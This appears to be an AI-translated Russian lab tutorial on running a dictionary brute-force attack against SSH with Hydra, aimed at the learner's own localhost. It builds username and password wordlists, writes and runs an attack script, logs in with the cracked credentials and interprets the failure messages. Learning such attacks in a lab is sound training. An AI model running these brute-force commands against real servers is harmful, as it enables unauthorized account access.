Выполнить словарную атаку на SSH с использованием Hydra

HydraHydraBeginner
Практиковаться сейчас

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом лабораторном занятии вы научитесь проводить словарный атаку на SSH-сервисы с использованием Hydra, мощного инструмента для взлома паролей. Вы узнаете, как создавать списки имен пользователей и паролей, настраивать параметры атаки и выполнять целенаправленные переборы паролей на SSH-сервере.

В рамках лабораторной работы вы получите практический опыт работы с командной структурой Hydra, интерпретацией вывода и анализом результатов. Вы научитесь проверять входные файлы, запускать атаки и определять успешные учетные данные для входа, а также понять распространенные причины неудачи.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) hydra/HydraGroup -.-> hydra/basic_structure("Basic Command Structure") hydra/HydraGroup -.-> hydra/single_username("Single Username Attack") hydra/HydraGroup -.-> hydra/single_password("Single Password Attack") hydra/HydraGroup -.-> hydra/ssh_attack("SSH Brute Force") hydra/HydraGroup -.-> hydra/output_saving("Output File Saving") hydra/HydraGroup -.-> hydra/verbose_mode("Verbose Mode Usage") hydra/HydraGroup -.-> hydra/success_detection("Login Success Detection") hydra/HydraGroup -.-> hydra/error_handling("Error Message Handling") subgraph Lab Skills hydra/basic_structure -.-> lab-549919{{"Выполнить словарную атаку на SSH с использованием Hydra"}} hydra/single_username -.-> lab-549919{{"Выполнить словарную атаку на SSH с использованием Hydra"}} hydra/single_password -.-> lab-549919{{"Выполнить словарную атаку на SSH с использованием Hydra"}} hydra/ssh_attack -.-> lab-549919{{"Выполнить словарную атаку на SSH с использованием Hydra"}} hydra/output_saving -.-> lab-549919{{"Выполнить словарную атаку на SSH с использованием Hydra"}} hydra/verbose_mode -.-> lab-549919{{"Выполнить словарную атаку на SSH с использованием Hydra"}} hydra/success_detection -.-> lab-549919{{"Выполнить словарную атаку на SSH с использованием Hydra"}} hydra/error_handling -.-> lab-549919{{"Выполнить словарную атаку на SSH с использованием Hydra"}} end

Загрузка списков имен пользователей и паролей

На этом этапе вы подготовите важные компоненты для словарной атаки - списки имен пользователей и паролей. Словарная атака заключается в систематическом переборе каждого слова из предварительно определенного списка (словаря) в качестве возможных учетных данных. Для атаки на SSH-сервер нам нужны два отдельных файла: один с возможными именами пользователей и другой с возможными паролями.

  1. Сначала перейдите в директорию проекта, где мы будем хранить наши файлы. Это поможет организовать все в одном месте:
cd ~/project
  1. Создадим список имен пользователей с помощью nano, простого текстового редактора. Имя файла usernames.txt является обычным, но вы можете назвать его по-другому:
nano usernames.txt
  1. В редакторе nano введите распространенные имена пользователей SSH, которые могут использоваться в системах. Каждое имя пользователя должно быть на отдельной строке. Это типичные стандартные или распространенные имена пользователей, которые могут использовать администраторы:
admin
root
user
test
guest
labex
  1. Чтобы сохранить файл в nano, нажмите Ctrl+O (буква O), затем Enter, чтобы подтвердить имя файла. Выйдите из nano, нажав Ctrl+X. Вы вернетесь в командную строку.

  2. Теперь создайте файл с паролями тем же способом. Удивительно, но такие простые пароли часто встречаются в реальных системах:

nano passwords.txt
  1. Введите эти распространенные пароли, по одному на строку. Обратите внимание, что некоторые пароли совпадают с нашими именами пользователей - люди часто используют одну и ту же строку для обоих:
password
123456
admin
qwerty
letmein
labex
  1. Сохраните и выйдите из nano, как и раньше (Ctrl+O, Enter, Ctrl+X).

  2. Проверим, были ли наши файлы созданы правильно. Команда ls -l показывает, что файлы существуют, а команда cat отображает их содержимое. Это важная проверка качества перед дальнейшими действиями:

ls -l usernames.txt passwords.txt
cat usernames.txt
cat passwords.txt

Вы должны увидеть оба файла с указанием их размеров, а затем отобразится их содержимое. Эти файлы являются основой нашей словарной атаки - в следующих шагах Hydra будет систематически пытаться каждую комбинацию имени пользователя и пароля из этих списков на SSH-сервере.

Настройка Hydra для словарной атаки на SSH

На этом этапе вы настроите Hydra для выполнения словарной атаки на SSH, используя списки имен пользователей и паролей, созданные на предыдущем этапе. Словарная атака - это метод, при котором Hydra систематически пробует все возможные комбинации из ваших списков слов, чтобы найти действительные учетные данные.

  1. Сначала убедитесь, что вы находитесь в правильной рабочей директории, где хранятся файлы проекта:
cd ~/project

Эта команда изменяет текущую директорию на папку проекта, где мы будем работать.

  1. Проверьте, установлен ли Hydra, проверив его версию:
hydra -v

Вы должны увидеть вывод, показывающий установленную версию Hydra. Это подтверждает, что Hydra готов к использованию и поможет устранить возможные проблемы в будущем.

  1. Создайте файл с именем target.txt, содержащий IP-адрес локального SSH-сервера:
echo "127.0.0.1" > target.txt

Мы используем 127.0.0.1 (локальный хост) в качестве цели, так как в этой лабораторной среде мы проводим тестирование на собственной машине.

  1. Изучите базовую структуру команды Hydra для атак на SSH:
hydra -L <username_list> -P <password_list> <target> ssh

В этом примере показаны минимально необходимые параметры: список имен пользователей (-L), список паролей (-P), целевой IP-адрес/имя хоста и сервис (ssh), на который мы совершаем атаку.

  1. Подготовьте реальную команду Hydra, используя свои файлы (но не запускайте ее еще):
hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh

Где:

  • -L указывает файл со списком имен пользователей (usernames.txt)
  • -P указывает файл со списком паролей (passwords.txt)
  • -t 4 устанавливает количество параллельных соединений (4 потока для более быстрого тестирования)
  • -vV включает подробный вывод, чтобы вы могли видеть ход атаки
  1. Сохраните эту команду в скриптовый файл для выполнения на следующем этапе:
echo 'hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh' > attack.sh
chmod +x attack.sh

Создание скрипта упрощает повторный запуск атаки и гарантирует, что вы не ошибетесь при наборе команды. Команда chmod делает скрипт исполняемым.

  1. Перед продолжением проверьте, что все необходимые файлы присутствуют:
ls -l usernames.txt passwords.txt target.txt attack.sh

Эта финальная проверка подтверждает, что у вас есть все необходимые файлы: список имен пользователей, список паролей, файл с целевым адресом и скрипт атаки.

Выполнение словарной атаки на SSH

На этом этапе вы запустите словарную атаку на SSH с помощью Hydra, используя настройки, подготовленные на предыдущих этапах. Hydra - популярный инструмент для взлома паролей, который систематически пробует различные комбинации имен пользователей и паролей для сервисов, таких как SSH.

  1. Сначала убедитесь, что вы находитесь в правильной рабочей директории, где находится ваш скрипт атаки. Это важно, так как Hydra должен иметь доступ к вашим спискам слов и файлам конфигурации:
cd ~/project
  1. Проверьте, готов ли скрипт атаки, отобразив его содержимое. Это позволит вам еще раз проверить параметры команды Hydra перед выполнением:
cat attack.sh

Вы должны увидеть команду Hydra, которую мы подготовили ранее, с правильным целевым IP-адресом, портом и путями к спискам слов.

  1. Перед выполнением убедитесь, что служба SSH запущена на локальном хосте, так как мы проводим тестирование на собственной машине. Hydra нуждается в активной службе SSH для попыток подключения:
sudo service ssh status

Если служба не запущена, запустите ее с помощью следующей команды:

sudo service ssh start
  1. Выполните скрипт атаки. Это запустит Hydra с всеми настроенными параметрами:
./attack.sh
  1. Наблюдайте за ходом атаки в режиме реального времени. Hydra предоставит текущую информацию, показывающую:
  • Каждую попытку подключения с комбинациями имени пользователя и пароля
  • Успешные входы в систему (выделяются при нахождении)
  • Неудачные попытки (большинство вывода)
  • Финальную статистику, включая процент успеха и затраченное время
  1. Ожидаемый вывод будет похож на следующий, когда будут найдены учетные данные:
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... done
[22][ssh] host: 127.0.0.1   login: labex   password: labex
1 of 1 target successfully completed, 1 valid password found
  1. Атака автоматически остановится в следующих случаях:
  • Когда будут протестированы все комбинации из ваших списков слов
  • Когда будут найдены действительные учетные данные (по умолчанию в Hydra)
  • Если вы вручную прервете процесс с помощью Ctrl+C
  1. Чтобы сохранить результаты в файл для последующего анализа, перенаправьте вывод. Это создаст постоянную запись всех попыток и результатов:
./attack.sh > attack_results.txt

Просмотр результатов успешных входов в систему

На этом этапе вы проанализируете результаты словарной атаки на SSH, чтобы определить успешные попытки входа в систему. При проведении тестов безопасности крайне важно правильно документировать и проверить свои находки перед дальнейшим анализом.

  1. Сначала перейдите в директорию проекта, где хранятся все файлы лабораторной работы:
cd ~/project
  1. Проверьте, сохранили ли вы результаты атаки с предыдущего этапа. Команда ls -l показывает подробную информацию о файлах, включая время создания и разрешения:
ls -l attack_results.txt
  1. Если вы не сохранили результаты ранее, запустите эту команду, чтобы сгенерировать их сейчас. Символ > перенаправляет вывод Hydra в текстовый файл для последующего анализа:
./attack.sh > attack_results.txt
  1. Просмотрите полные результаты атаки. Команда cat отображает все содержимое файла в терминале:
cat attack_results.txt
  1. Найдите записи о успешных входах в систему, которые будут выглядеть примерно так. Каждая успешная попытка содержит три ключевые части информации:
[22][ssh] host: 127.0.0.1   login: labex   password: labex
  1. Чтобы извлечь только успешные попытки из потенциально больших файлов результатов, используйте grep для фильтрации строк, содержащих "login:". Это сэкономит время при просмотре результатов:
grep "login:" attack_results.txt
  1. Формат вывода показывает три важных элемента, которые вам понадобятся для проверки:
  • Целевой IP-адрес (127.0.0.1) - машина, которая приняла учетные данные
  • Успешное имя пользователя (login) - действительное имя учетной записи
  • Действительный пароль - соответствующий пароль для этой учетной записи
  1. Проверьте учетные данные, попробовав выполнить вход в систему по SSH. Это подтверждает, что учетные данные действительно работают в реальной сессии SSH:
ssh [email protected]

Введите "yes", чтобы принять ключ хоста, если вас об этом попросят (это происходит при первом подключении), а затем введите пароль по запросу.

  1. После успешного входа в систему корректно выйдите из сессии SSH, чтобы вернуться в локальный терминал:
exit
  1. Для лучшей читаемости отформатируйте результаты с помощью этого конвейера команд. Команда awk переструктурирует вывод в четкие помеченные поля:
grep "login:" attack_results.txt | awk '{print "Host:",$3,"| Username:",$5,"| Password:",$7}'

Понимание сообщений об ошибках атаки

На этом этапе мы рассмотрим вывод атаки на SSH с использованием Hydra, чтобы понять, почему некоторые попытки входа в систему завершились неудачей. Анализ этих сообщений об ошибках важен как для специалистов по безопасности, оценивающих уязвимости системы, так и для пентестеров, усовершенствующих свои стратегии атаки.

  1. Сначала перейдем в директорию проекта, где хранятся результаты атаки. Это гарантирует, что мы работаем с правильными файлами:
cd ~/project
  1. Теперь мы посмотрим на полный файл с результатами атаки. Он содержит весь вывод попыток входа в систему с помощью Hydra:
cat attack_results.txt
  1. Чтобы сосредоточиться именно на неудачных попытках, мы отфильтруем успешные входы в систему и поищем общие шаблоны ошибок. Команды grep помогут выделить важные сообщения об ошибках:
grep -v "login:" attack_results.txt | grep -E "invalid|failed|error"
  1. Вот наиболее распространенные сообщения об ошибках, которые вы встретите, и их фактическое значение:
  • invalid password: Имя пользователя было правильным, но пароль не совпал
  • invalid user: Имя пользователя не существует на целевой системе
  • connection refused: Служба SSH не запущена на цели
  • connection timeout: Проблемы с сетью или брандмауэр блокирует доступ
  • too many connections: Цель обнаружила и заблокировала быстрые попытки входа в систему
  1. Давайте посчитаем, сколько раз произошло каждое из типов ошибок. Подсчет этих данных помогает понять шаблоны атаки:
grep -c "invalid password" attack_results.txt
grep -c "invalid user" attack_results.txt
  1. Чтобы узнать, произошли ли ошибки в определенные моменты времени (что может указывать на ограничение скорости), мы извлечем и подсчитаем временные метки:
grep "invalid" attack_results.txt | awk '{print $1}' | uniq -c
  1. Теперь мы создадим простой обзорный отчет об ошибках. Эта организованная информация поможет документировать ваши находки:
echo "Attack Failure Analysis" > failure_analysis.txt
echo "Invalid passwords: $(grep -c 'invalid password' attack_results.txt)" >> failure_analysis.txt
echo "Invalid users: $(grep -c 'invalid user' attack_results.txt)" >> failure_analysis.txt
cat failure_analysis.txt
  1. Для более глубокого исследования мы можем проверить журналы SSH целевой системы (если у вас есть доступ). Часто они содержат более подробную информацию об ошибках:
sudo grep 'sshd' /var/log/auth.log | tail -20

Резюме

В этой лабораторной работе вы научились проводить словарную атаку на SSH с использованием Hydra, подготовив списки имен пользователей и паролей. Процесс включал создание файлов с учетными данными, проверку их содержимого и структурирование команды Hydra с правильными флагами (-L, -P и -t) для эффективной атаки.

Кроме того, вы изучили интерпретацию вывода Hydra для определения успешных входов в систему и анализа результатов атаки. В этой лабораторной работе продемонстрирована важность правильной подготовки файлов, настройки команд и систематического тестирования при атаках на учетные данные SSH.